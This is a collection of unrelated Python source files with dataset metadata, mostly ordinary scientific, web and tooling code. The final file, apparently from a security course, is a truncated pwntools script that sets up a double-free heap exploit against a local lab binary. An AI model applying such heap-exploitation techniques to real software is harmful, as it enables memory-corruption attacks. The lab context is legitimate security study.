ddc4e2961bdd997e8ed912766a3c871b4f8b1cc7 | 3,306 | py | Python | openmapi/globales.py | IgnacioPardo/mAPI-Provincias | 812fc12bcc72d6aa28ab2e39af2d64d0aa68c86b | [
"MIT"
] | 4 | 2020-08-02T06:51:04.000Z | 2022-03-22T21:31:44.000Z | openmapi/globales.py | Creativity-Hub/Open-mAPI | b7e0ee9acda424aec0e84513d8e968aa6ff5d7c5 | [
"MIT"
] | null | null | null | openmapi/globales.py | Creativity-Hub/Open-mAPI | b7e0ee9acda424aec0e84513d8e968aa6ff5d7c5 | [
"MIT"
] | 1 | 2022-03-24T22:20:47.000Z | 2022-03-24T22:20:47.000Z | import requests
from bs4 import BeautifulSoup
class Pais:
name = ''
casos = {}
def __init__(self, name, infectados=None, recuperados=None, fallecidos=None, activos = None):
self.name = name
self.casos['infectados'] = infectados
self.casos['recuperados'] = recuperados
self.casos['fallecidos'] = fallecidos
... | 23.614286 | 119 | 0.650333 | 436 | 3,306 | 4.816514 | 0.279817 | 0.057619 | 0.033333 | 0.031429 | 0.217619 | 0.152381 | 0.092381 | 0.092381 | 0.049524 | 0.049524 | 0 | 0.006623 | 0.177858 | 3,306 | 140 | 120 | 23.614286 | 0.766004 | 0.038415 | 0 | 0.182796 | 0 | 0 | 0.089764 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.193548 | false | 0 | 0.021505 | 0.075269 | 0.397849 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddc738c6ed27c814c11c63a6fb453a793040af60 | 947 | py | Python | openpype/hosts/tvpaint/plugins/publish/validate_start_frame.py | jonclothcat/OpenPype | d1208cbebc0a7f378de0062ccd653295c6399195 | [
"MIT"
] | 1 | 2022-02-08T15:40:41.000Z | 2022-02-08T15:40:41.000Z | openpype/hosts/tvpaint/plugins/publish/validate_start_frame.py | zafrs/OpenPype | 4b8e7e1ed002fc55b31307efdea70b0feaed474f | [
"MIT"
] | 2 | 2022-03-18T01:46:03.000Z | 2022-03-18T01:46:16.000Z | openpype/hosts/tvpaint/plugins/publish/validate_start_frame.py | zafrs/OpenPype | 4b8e7e1ed002fc55b31307efdea70b0feaed474f | [
"MIT"
] | null | null | null | import pyblish.api
from openpype.pipeline import PublishXmlValidationError
from openpype.hosts.tvpaint.api import lib
class RepairStartFrame(pyblish.api.Action):
"""Repair start frame."""
label = "Repair"
icon = "wrench"
on = "failed"
def process(self, context, plugin):
lib.execute_georg... | 24.921053 | 57 | 0.636748 | 99 | 947 | 5.989899 | 0.505051 | 0.134907 | 0.047218 | 0.070826 | 0.094435 | 0 | 0 | 0 | 0 | 0 | 0 | 0.00578 | 0.269271 | 947 | 37 | 58 | 25.594595 | 0.851156 | 0.061246 | 0 | 0 | 0 | 0 | 0.138952 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.076923 | false | 0 | 0.115385 | 0 | 0.615385 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddc862cde96df508b37a55b7bb12e12b0c12e813 | 3,548 | py | Python | utils/Model_builder.py | Devwalkar/General_codebase | d52eee09248caa715d7e5e8b87f145d1989e278d | [
"MIT"
] | null | null | null | utils/Model_builder.py | Devwalkar/General_codebase | d52eee09248caa715d7e5e8b87f145d1989e278d | [
"MIT"
] | null | null | null | utils/Model_builder.py | Devwalkar/General_codebase | d52eee09248caa715d7e5e8b87f145d1989e278d | [
"MIT"
] | null | null | null | import torch
import pretrainedmodels as PM
import torch.nn as nn
from .Mobilenet import MobileNetV2
device = 'cuda' if torch.cuda.is_available() else 'cpu'
def Model_builder(configer):
model_name = configer.model['name']
No_classes = configer.dataset_cfg["id_cfg"]["num_classes"]
model_pretra... | 37.744681 | 94 | 0.669391 | 441 | 3,548 | 5.14059 | 0.188209 | 0.08734 | 0.145567 | 0.116453 | 0.572122 | 0.572122 | 0.572122 | 0.54742 | 0.54742 | 0.54742 | 0 | 0.039209 | 0.230834 | 3,548 | 94 | 95 | 37.744681 | 0.791499 | 0.011556 | 0 | 0.347826 | 0 | 0 | 0.071491 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.014493 | false | 0 | 0.072464 | 0 | 0.101449 | 0.014493 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddc91781c017fdef90c8f25f225a0256fda47415 | 828 | py | Python | examples/main.py | marcoaaguiar/erised | 26a304afb2058f532b07ecde6c6fc85d8864696c | [
"MIT"
] | null | null | null | examples/main.py | marcoaaguiar/erised | 26a304afb2058f532b07ecde6c6fc85d8864696c | [
"MIT"
] | 3 | 2021-03-15T00:51:37.000Z | 2021-03-15T01:01:30.000Z | examples/main.py | marcoaaguiar/erised | 26a304afb2058f532b07ecde6c6fc85d8864696c | [
"MIT"
] | null | null | null | from erised.proxy import Proxy
class Dog:
def bark(self, loud: bool):
sound = "woof-woof"
if loud:
return sound.upper()
return sound
class Person:
def __init__(self, dog: Dog = None):
self.dog = dog
if __name__ == "__main__":
person = Person()
person.dog... | 23.657143 | 77 | 0.649758 | 110 | 828 | 4.745455 | 0.545455 | 0.034483 | 0.038314 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.001618 | 0.253623 | 828 | 34 | 78 | 24.352941 | 0.843042 | 0.294686 | 0 | 0 | 0 | 0 | 0.029412 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.1 | false | 0 | 0.05 | 0 | 0.35 | 0.1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddcde07c3cbd2e093fb249312865d2348a9e3b73 | 6,863 | py | Python | proteus/MeshAdaptPUMI/Checkpoint.py | acatwithacomputer/proteus | 80dfad95da6ab4d18a88a035f55c26b03540a864 | [
"MIT"
] | null | null | null | proteus/MeshAdaptPUMI/Checkpoint.py | acatwithacomputer/proteus | 80dfad95da6ab4d18a88a035f55c26b03540a864 | [
"MIT"
] | 13 | 2018-02-08T23:22:59.000Z | 2020-12-06T19:40:32.000Z | proteus/MeshAdaptPUMI/Checkpoint.py | acatwithacomputer/proteus | 80dfad95da6ab4d18a88a035f55c26b03540a864 | [
"MIT"
] | 1 | 2020-02-17T03:25:34.000Z | 2020-02-17T03:25:34.000Z | from __future__ import division
from builtins import str
from builtins import range
import proteus
import sys
import numpy
from proteus import Profiling
#it should probably be associated with the PUMI domain somehow
#The current implementation assumes we're using NS, VOF, LS, RD, MCorr setup with lagging and Backwards... | 48.673759 | 208 | 0.722862 | 741 | 6,863 | 6.605938 | 0.279352 | 0.075996 | 0.042492 | 0.044944 | 0.338304 | 0.212257 | 0.132176 | 0.039632 | 0 | 0 | 0 | 0.005961 | 0.168877 | 6,863 | 140 | 209 | 49.021429 | 0.852209 | 0.166691 | 0 | 0.093458 | 0 | 0.009346 | 0.168034 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.056075 | false | 0 | 0.084112 | 0 | 0.158879 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddd0b7f89eb5fdc6f55d6efae895022ea00e5fd2 | 2,634 | py | Python | ream/decode.py | chmlee/ream-python | 13f46596f59bb411308d1c9070b8d6f8a0afeb31 | [
"MIT"
] | null | null | null | ream/decode.py | chmlee/ream-python | 13f46596f59bb411308d1c9070b8d6f8a0afeb31 | [
"MIT"
] | null | null | null | ream/decode.py | chmlee/ream-python | 13f46596f59bb411308d1c9070b8d6f8a0afeb31 | [
"MIT"
] | null | null | null | """
REAM: REAM Ain't Markdown
~~~~~~~~~~~~~~~~~~~~~~~~~
This file is part of the ream package
:copyright: Copyright 2020 by Chih-Ming Louis Lee
:license: MIT, see LICENSE for details
"""
import sys
import os
import re
import json
import pandas as pd
from ream.transformer import Ream2Dict
from ream.grammar import REA... | 24.849057 | 74 | 0.566059 | 316 | 2,634 | 4.585443 | 0.335443 | 0.069013 | 0.057971 | 0.062112 | 0.139406 | 0.078675 | 0.078675 | 0 | 0 | 0 | 0 | 0.011432 | 0.302582 | 2,634 | 105 | 75 | 25.085714 | 0.777354 | 0.09795 | 0 | 0.185714 | 0 | 0 | 0.049425 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.085714 | false | 0 | 0.1 | 0.014286 | 0.242857 | 0.128571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddd3332668c74ceeb6666a897a79187f953f120f | 10,476 | py | Python | svirl/vars/params.py | microsoft/svirl | 8d0da6a03ad20315a690a3c65bb8b60c196c3f3d | [
"MIT"
] | 6 | 2020-12-21T20:11:13.000Z | 2022-03-21T07:55:33.000Z | svirl/vars/params.py | ivan-sadovsky/svirl | 523abe9fcf2a5e9d192782d7aeb7093c86ef4036 | [
"MIT"
] | 4 | 2021-07-15T20:12:55.000Z | 2021-08-07T22:11:18.000Z | svirl/vars/params.py | ivan-sadovsky/svirl | 523abe9fcf2a5e9d192782d7aeb7093c86ef4036 | [
"MIT"
] | 9 | 2020-12-22T06:06:16.000Z | 2022-03-25T17:26:55.000Z | # Copyright (c) Microsoft Corporation.
# Licensed under the MIT license.
import numpy as np
import svirl.config as cfg
from svirl.storage import GArray
from . import FixedVortices
class Params(object):
"""This class contains setters and getters for parameters"""
def __init__(self, mesh, vars):
self... | 31.939024 | 132 | 0.616648 | 1,327 | 10,476 | 4.64205 | 0.146948 | 0.073864 | 0.101299 | 0.042857 | 0.388961 | 0.281818 | 0.194643 | 0.125 | 0.121104 | 0.088636 | 0 | 0.007683 | 0.29181 | 10,476 | 327 | 133 | 32.036697 | 0.822618 | 0.134212 | 0 | 0.277778 | 0 | 0 | 0.037704 | 0 | 0 | 0 | 0 | 0.009174 | 0.060606 | 1 | 0.136364 | false | 0.005051 | 0.020202 | 0.010101 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddd3cf7e6c6e22a81fc4f44dcb742ce19a9d4e7a | 1,570 | py | Python | src/2_save_images.py | Irio/photoshopped-or-not | 70ae1a2e7e54003d916b501f8d9e020c13ca6c98 | [
"MIT"
] | 77 | 2016-07-13T13:36:55.000Z | 2022-02-25T07:49:38.000Z | src/2_save_images.py | goldservice2017/FakeImageDetection | e7f618989d004e24444854df63d9f1c408d0463f | [
"MIT"
] | 1 | 2017-07-11T10:28:36.000Z | 2017-07-11T10:28:36.000Z | src/2_save_images.py | goldservice2017/FakeImageDetection | e7f618989d004e24444854df63d9f1c408d0463f | [
"MIT"
] | 20 | 2016-10-23T14:57:19.000Z | 2022-03-21T13:32:45.000Z | from hashlib import sha256
from helpers import load_dataset
import numpy as np
import os
import pandas as pd
import requests
import sys
import time
import urllib.request
CSV_PATH = sys.argv[1]
URL_COLUMN = sys.argv[2]
PATH = sys.argv[3]
def download_image(url, file_path):
try:
if 'imgur.com' in url:
... | 30.784314 | 83 | 0.66051 | 228 | 1,570 | 4.377193 | 0.390351 | 0.054108 | 0.064128 | 0.039078 | 0.08016 | 0 | 0 | 0 | 0 | 0 | 0 | 0.01346 | 0.195541 | 1,570 | 50 | 84 | 31.4 | 0.776722 | 0 | 0 | 0 | 0 | 0 | 0.078981 | 0.01465 | 0 | 0 | 0 | 0 | 0 | 1 | 0.045455 | false | 0 | 0.204545 | 0 | 0.295455 | 0.068182 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddd7b262ec09a987c21172c82cd032e817c1ba5b | 801 | py | Python | quapy/method/__init__.py | valgur/QuaPy | 6b1ba4886a1d64b086829306cbba689cdcfd60e8 | [
"BSD-3-Clause"
] | 34 | 2021-01-06T14:01:06.000Z | 2022-03-08T06:59:04.000Z | quapy/method/__init__.py | valgur/QuaPy | 6b1ba4886a1d64b086829306cbba689cdcfd60e8 | [
"BSD-3-Clause"
] | 4 | 2021-06-07T07:45:57.000Z | 2021-06-21T11:16:10.000Z | quapy/method/__init__.py | valgur/QuaPy | 6b1ba4886a1d64b086829306cbba689cdcfd60e8 | [
"BSD-3-Clause"
] | 6 | 2021-06-07T10:08:17.000Z | 2022-03-07T13:42:15.000Z | from . import aggregative
from . import base
from . import meta
from . import non_aggregative
EXPLICIT_LOSS_MINIMIZATION_METHODS = {
aggregative.ELM,
aggregative.SVMQ,
aggregative.SVMAE,
aggregative.SVMKLD,
aggregative.SVMRAE,
aggregative.SVMNKLD
}
AGGREGATIVE_METHODS = {
aggregative.CC,
... | 18.627907 | 85 | 0.741573 | 78 | 801 | 7.397436 | 0.397436 | 0.069324 | 0.109185 | 0.107452 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.004608 | 0.187266 | 801 | 42 | 86 | 19.071429 | 0.88172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.121212 | 0 | 0.121212 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddd9ee0a17827daaf5df8b02b71f681e46b3a8a2 | 916 | py | Python | OT/test_subplots.py | pine2104/Python_for_Lab | 571398c2422711d8a74f9c95a746537859458557 | [
"MIT"
] | 5 | 2022-02-03T20:10:21.000Z | 2022-03-30T08:05:10.000Z | OT/test_subplots.py | pine2104/Python_for_Lab | 571398c2422711d8a74f9c95a746537859458557 | [
"MIT"
] | null | null | null | OT/test_subplots.py | pine2104/Python_for_Lab | 571398c2422711d8a74f9c95a746537859458557 | [
"MIT"
] | null | null | null | from EM_Algorithm.gen_gauss import gen_gauss
from EM_Algorithm.gen_poisson import gen_poisson
import numpy as np
import matplotlib.pyplot as plt
x = gen_gauss([8],[2],[1000])
y = gen_poisson([1],[1000])
fig = plt.figure(figsize=(8, 8))
# Add a gridspec with two rows and two columns and a ratio of 2 to 7 between
# th... | 35.230769 | 84 | 0.689956 | 166 | 916 | 3.698795 | 0.46988 | 0.039088 | 0.063518 | 0.07329 | 0.052117 | 0 | 0 | 0 | 0 | 0 | 0 | 0.059289 | 0.171397 | 916 | 25 | 85 | 36.64 | 0.749671 | 0.213974 | 0 | 0 | 0 | 0 | 0.039161 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddda6ce0c1f2ddd975f7aba52a0da244fa436a75 | 2,114 | py | Python | code/examples/VsevolodTymofyeyev2/example.py | TrackerSB/MasterThesis | 2792203d28d6c7b62f54545344ee6772d2ec5b64 | [
"MIT"
] | null | null | null | code/examples/VsevolodTymofyeyev2/example.py | TrackerSB/MasterThesis | 2792203d28d6c7b62f54545344ee6772d2ec5b64 | [
"MIT"
] | null | null | null | code/examples/VsevolodTymofyeyev2/example.py | TrackerSB/MasterThesis | 2792203d28d6c7b62f54545344ee6772d2ec5b64 | [
"MIT"
] | null | null | null | import os
from threading import Thread
from typing import List
from aiExchangeMessages_pb2 import SimulationID, TestResult
def _handle_vehicle(sid: SimulationID, vid: str, requests: List[str]) -> None:
vid_obj = VehicleID()
vid_obj.vid = vid
i = 0
while i < 3:
i += 1
print(sid.sid + ... | 33.555556 | 102 | 0.638127 | 247 | 2,114 | 5.279352 | 0.340081 | 0.027607 | 0.027607 | 0.047546 | 0.15184 | 0.15184 | 0.096626 | 0.096626 | 0.096626 | 0.096626 | 0 | 0.006993 | 0.255913 | 2,114 | 62 | 103 | 34.096774 | 0.821996 | 0.040208 | 0 | 0.042553 | 0 | 0 | 0.100396 | 0.023244 | 0 | 0 | 0 | 0 | 0 | 1 | 0.021277 | false | 0 | 0.12766 | 0 | 0.148936 | 0.170213 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
dddd2ef86d68662ac04401af3b7b61b4ab5cb9ed | 1,916 | py | Python | rfap.py | anabanami/RFAP | 09b434d115ae1872810d65126bcbc9d7af510e89 | [
"MIT"
] | null | null | null | rfap.py | anabanami/RFAP | 09b434d115ae1872810d65126bcbc9d7af510e89 | [
"MIT"
] | null | null | null | rfap.py | anabanami/RFAP | 09b434d115ae1872810d65126bcbc9d7af510e89 | [
"MIT"
] | null | null | null | # PHS3350
# Week 2 - wave packet and RFAP -
# "what I cannot create I cannot understand" - R. Feynman.
# Ana Fabela Hinojosa, 13/03/2021
import os
from pathlib import Path
import numpy as np
import matplotlib
import matplotlib.pyplot as plt
import physunits
from scipy.fft import fft, ifft
plt.rcParams['figure.dpi'] =... | 23.95 | 64 | 0.598643 | 338 | 1,916 | 3.295858 | 0.39645 | 0.059246 | 0.037702 | 0.05386 | 0.128366 | 0.041293 | 0.041293 | 0 | 0 | 0 | 0 | 0.067586 | 0.243215 | 1,916 | 79 | 65 | 24.253165 | 0.70069 | 0.174843 | 0 | 0 | 0 | 0 | 0.067732 | 0.015974 | 0 | 0 | 0 | 0 | 0 | 1 | 0.039216 | false | 0 | 0.137255 | 0 | 0.215686 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
dde27c4c382b986590140f153b007830bdfd2e36 | 3,725 | py | Python | tests/api/test_record_permissions.py | equadon/invenio-app-ils | 42ba282968d0aa28fb1bfc71d0709685165aaec4 | [
"MIT"
] | null | null | null | tests/api/test_record_permissions.py | equadon/invenio-app-ils | 42ba282968d0aa28fb1bfc71d0709685165aaec4 | [
"MIT"
] | null | null | null | tests/api/test_record_permissions.py | equadon/invenio-app-ils | 42ba282968d0aa28fb1bfc71d0709685165aaec4 | [
"MIT"
] | null | null | null | # -*- coding: utf-8 -*-
#
# Copyright (C) 2018-2019 CERN.
#
# invenio-app-ils is free software; you can redistribute it and/or modify it
# under the terms of the MIT License; see LICENSE file for more details.
"""Test record permissions."""
from __future__ import unicode_literals
import uuid
import pytest
from flas... | 33.863636 | 77 | 0.633289 | 458 | 3,725 | 5.015284 | 0.28821 | 0.023509 | 0.02438 | 0.036569 | 0.371789 | 0.311711 | 0.292556 | 0.292556 | 0.292556 | 0.250762 | 0 | 0.006618 | 0.229262 | 3,725 | 109 | 78 | 34.174312 | 0.793452 | 0.226846 | 0 | 0.376812 | 0 | 0 | 0.116361 | 0.016925 | 0 | 0 | 0 | 0 | 0.057971 | 1 | 0.072464 | false | 0 | 0.130435 | 0 | 0.202899 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
dde28d401374fdc16a1d1b838ec6fd235235e1cc | 945 | py | Python | src/Index.py | bhed01/bhed01.github.io | 132cf8e4afa05a00d71555afa2002a2d50c304c8 | [
"MIT"
] | 3 | 2020-10-16T12:26:31.000Z | 2022-02-03T18:06:35.000Z | src/Index.py | bhed01/bhed01.github.io | 132cf8e4afa05a00d71555afa2002a2d50c304c8 | [
"MIT"
] | null | null | null | src/Index.py | bhed01/bhed01.github.io | 132cf8e4afa05a00d71555afa2002a2d50c304c8 | [
"MIT"
] | null | null | null | from .components.Head import Head
from .components.NavIcons import Hamburger
from .components.Screens import HomeScreen, AboutScreen, ProjectsScreen
from .components.Footer import Footer
from .utils import JSON_DIR
from json import load
import os
def Index():
with open(os.path.join(JSON_DIR, 'home_data.... | 32.586207 | 72 | 0.649735 | 118 | 945 | 5.076271 | 0.313559 | 0.058431 | 0.066778 | 0.093489 | 0.166945 | 0.166945 | 0.166945 | 0 | 0 | 0 | 0 | 0 | 0.22963 | 945 | 28 | 73 | 33.75 | 0.822802 | 0 | 0 | 0 | 0 | 0 | 0.268266 | 0.110142 | 0 | 0 | 0 | 0 | 0 | 1 | 0.04 | false | 0 | 0.28 | 0 | 0.36 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
dde2faa4056b42852281bc2be32673929adfef2b | 5,190 | py | Python | bisk/features/base.py | facebookresearch/bipedal-skills | edd424a8779e3a0121fb995cad00839d8226cf46 | [
"MIT"
] | 6 | 2021-11-05T16:57:58.000Z | 2022-03-16T10:34:46.000Z | bisk/features/base.py | facebookresearch/bipedal-skills | edd424a8779e3a0121fb995cad00839d8226cf46 | [
"MIT"
] | null | null | null | bisk/features/base.py | facebookresearch/bipedal-skills | edd424a8779e3a0121fb995cad00839d8226cf46 | [
"MIT"
] | 1 | 2021-11-05T16:57:47.000Z | 2021-11-05T16:57:47.000Z | # Copyright (c) 2021-present, Facebook, Inc.
#
# This source code is licensed under the MIT license found in the
# LICENSE file in the root directory of this source tree.
#
import logging
from typing import Dict, List
import gym
import numpy as np
from dm_control import mujoco
from dm_control.mujoco.wrapper.mjbinding... | 36.293706 | 76 | 0.511753 | 651 | 5,190 | 3.99232 | 0.25192 | 0.070796 | 0.087726 | 0.115429 | 0.56137 | 0.371681 | 0.327049 | 0.294729 | 0.234706 | 0.219315 | 0 | 0.011912 | 0.352987 | 5,190 | 142 | 77 | 36.549296 | 0.762061 | 0.042004 | 0 | 0.266129 | 0 | 0 | 0.064464 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0 | 0.056452 | 0 | 0.177419 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddebffcf3d40adc0208ac8b35c967b6d0551178a | 38,079 | py | Python | port/platform/common/automation/u_utils.py | stephanboner/ubxlib | 64025c5760771ac2accd09f9f176693c7add2919 | [
"Apache-2.0"
] | null | null | null | port/platform/common/automation/u_utils.py | stephanboner/ubxlib | 64025c5760771ac2accd09f9f176693c7add2919 | [
"Apache-2.0"
] | null | null | null | port/platform/common/automation/u_utils.py | stephanboner/ubxlib | 64025c5760771ac2accd09f9f176693c7add2919 | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
'''Generally useful bits and bobs.'''
import queue # For PrintThread and exe_run
from time import sleep, time, gmtime, strftime # For lock timeout, exe_run timeout and logging
import threading # For PrintThread
import os # For ChangeDir, ... | 42.930101 | 120 | 0.536437 | 4,151 | 38,079 | 4.757408 | 0.166466 | 0.041473 | 0.019445 | 0.016407 | 0.329755 | 0.254203 | 0.214756 | 0.186449 | 0.173587 | 0.150243 | 0 | 0.009467 | 0.370335 | 38,079 | 886 | 121 | 42.978555 | 0.814155 | 0.20896 | 0 | 0.399679 | 0 | 0 | 0.070385 | 0.00084 | 0 | 0 | 0.000538 | 0 | 0 | 1 | 0.05939 | false | 0.006421 | 0.022472 | 0 | 0.126806 | 0.149278 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddf10fa882b2377b78f180954bd012323f534965 | 514 | py | Python | test/unit/test_main.py | CMPUT291PROJECT1F18/Mini-Project-1 | b58144dd80c40466de755877b7c3996f4aa67af9 | [
"MIT"
] | 1 | 2018-11-06T01:04:13.000Z | 2018-11-06T01:04:13.000Z | test/unit/test_main.py | CMPUT291PROJECT1F18/Mini-Project-1 | b58144dd80c40466de755877b7c3996f4aa67af9 | [
"MIT"
] | 39 | 2018-10-23T00:28:13.000Z | 2018-11-06T16:14:56.000Z | test/unit/test_main.py | CMPUT291PROJECT1F18/Mini-Project-1 | b58144dd80c40466de755877b7c3996f4aa67af9 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# -*- coding: utf-8 -*-
"""pytests for :mod:`.__main__`"""
from mini_project_1.__main__ import get_parser, main
import mock
def test_get_parser():
parser = get_parser()
assert parser
def test_main(tmpdir):
tmp_file = tmpdir.join("thefile_name.json")
tmp_file_name = str(tmp_file)... | 23.363636 | 93 | 0.680934 | 72 | 514 | 4.5 | 0.569444 | 0.08642 | 0.074074 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.007009 | 0.167315 | 514 | 21 | 94 | 24.47619 | 0.75 | 0.13035 | 0 | 0 | 0 | 0 | 0.190909 | 0.102273 | 0 | 0 | 0 | 0 | 0.090909 | 1 | 0.181818 | false | 0 | 0.181818 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
ddf791c1dd4726087d87f8647d381ae32e01c53c | 437 | py | Python | 6. Heap exploitation/exploit_3.py | MBWlodarczyk/bso_project | a4620fb18d7f789d917627232dc85ef9bcad7e3d | [
"MIT"
] | null | null | null | 6. Heap exploitation/exploit_3.py | MBWlodarczyk/bso_project | a4620fb18d7f789d917627232dc85ef9bcad7e3d | [
"MIT"
] | null | null | null | 6. Heap exploitation/exploit_3.py | MBWlodarczyk/bso_project | a4620fb18d7f789d917627232dc85ef9bcad7e3d | [
"MIT"
] | 1 | 2021-05-27T22:04:35.000Z | 2021-05-27T22:04:35.000Z | from pwn import *
def malloc(name):
p.sendlineafter('>> ','1 '+name)
def free(id):
p.sendlineafter('>> ', '2 '+str(id))
p = process("./vuln_3.o")
gdb.attach(p)
for i in range(8):
malloc('a')
malloc('a')
malloc('a')
for i in range(9):
free(i-1)
free(8)
free(9)
free(8)
for i in range(8):
